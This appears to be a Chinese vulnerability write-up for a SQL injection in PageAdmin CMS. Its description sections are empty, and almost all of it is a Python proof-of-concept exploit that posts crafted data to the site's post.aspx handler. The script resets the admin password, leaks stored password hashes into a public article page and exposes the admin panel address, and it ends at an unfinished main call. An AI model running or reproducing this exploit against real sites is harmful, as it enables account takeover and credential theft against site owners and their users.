PageMyAdmin sql注入漏洞
=======================

一、漏洞简介
------------

二、漏洞影响
------------

三、复现过程
------------

### poc

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-


    import urllib2
    import urllib
    import re
    import sys

    def main():
        url=sys.argv[1]+"/e/aspx/post.aspx"
        fun=sys.argv[2]
        if fun=='upass':
            update(url)
        elif fun=='sqlinject':
            sqlinject(url)
        elif fun=='Backstage':
            Backstage(url)
        else:
            print'''
            usage: pageadminsql.py http://www.baidu.com/ upass
            parameter: uppass sqlinject Backstage
            '''
    def update(url):
        headers = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0","Referer":url+"?a=pageadmin_cms"}
        formate={
        "siteid":"1",
        "formtable":"1",
        "thedata":'[u][k]pa_member[k][s][k]userpassword="1527f10a11de5efea4b8516213413c103df55126"[k]where[k]id=2'
        }
        postdata = urllib.urlencode(formate)
        request = urllib2.Request(url, data=postdata, headers = headers)
        try:
            response = urllib2.urlopen(request)
            if response.getcode()==200:
                print u">>>>>>修改密码成功 修改密码：admin_1234213<<<<<<"
                pass
        except Exception as e:
            print u">>>>>>修改密码失败<<<<<<"
            pass
    def sqlinject(url):
        headers = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0","Referer":url+"?a=pageadmin_cms"}
        formate={
        "siteid":"1",
        "formtable":"1",
        "thedata":"[u][k]article,pa_member[k][s][k]article.title=pa_member.userpassword[k]where[k]article.id=747"
        }
        postdata = urllib.urlencode(formate)
        request = urllib2.Request(url, data=postdata, headers = headers)
        try:
            response = urllib2.urlopen(request)
            if response.getcode()==200:
                print u">>>>>>密码注入成功 查看密码地址：{0}/index.aspx?lanmuid=63&sublanmuid=654&id=747<<<<<<".format(sys.argv[1])
                pass
        except Exception as e:
            print u">>>>>>密码注入失败<<<<<<"
            pass
    def Backstage(url):
        headers = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0","Referer":url+"?a=pageadmin_cms"}
        formate={
        "siteid":"1",
        "formtable":"1",
        "thedata":"[u][k]article,pa_log[k][s][k]article.title=pa_log.url[k]where[k]article.id=747"
        }
        postdata = urllib.urlencode(formate)
        request = urllib2.Request(url, data=postdata, headers = headers)
        try:
            response = urllib2.urlopen(request)
            if response.getcode()==200:
                print u">>>>>>后台地址注入成功 查看后台地址：{0}/index.aspx?lanmuid=63&sublanmuid=654&id=747<<<<<<".format(sys.argv[1])
                pass
        except Exception as e:
            print u">>>>>>后台地址注入失败<<<<<<"
            pass
    if __name__ == '__main__':
        main(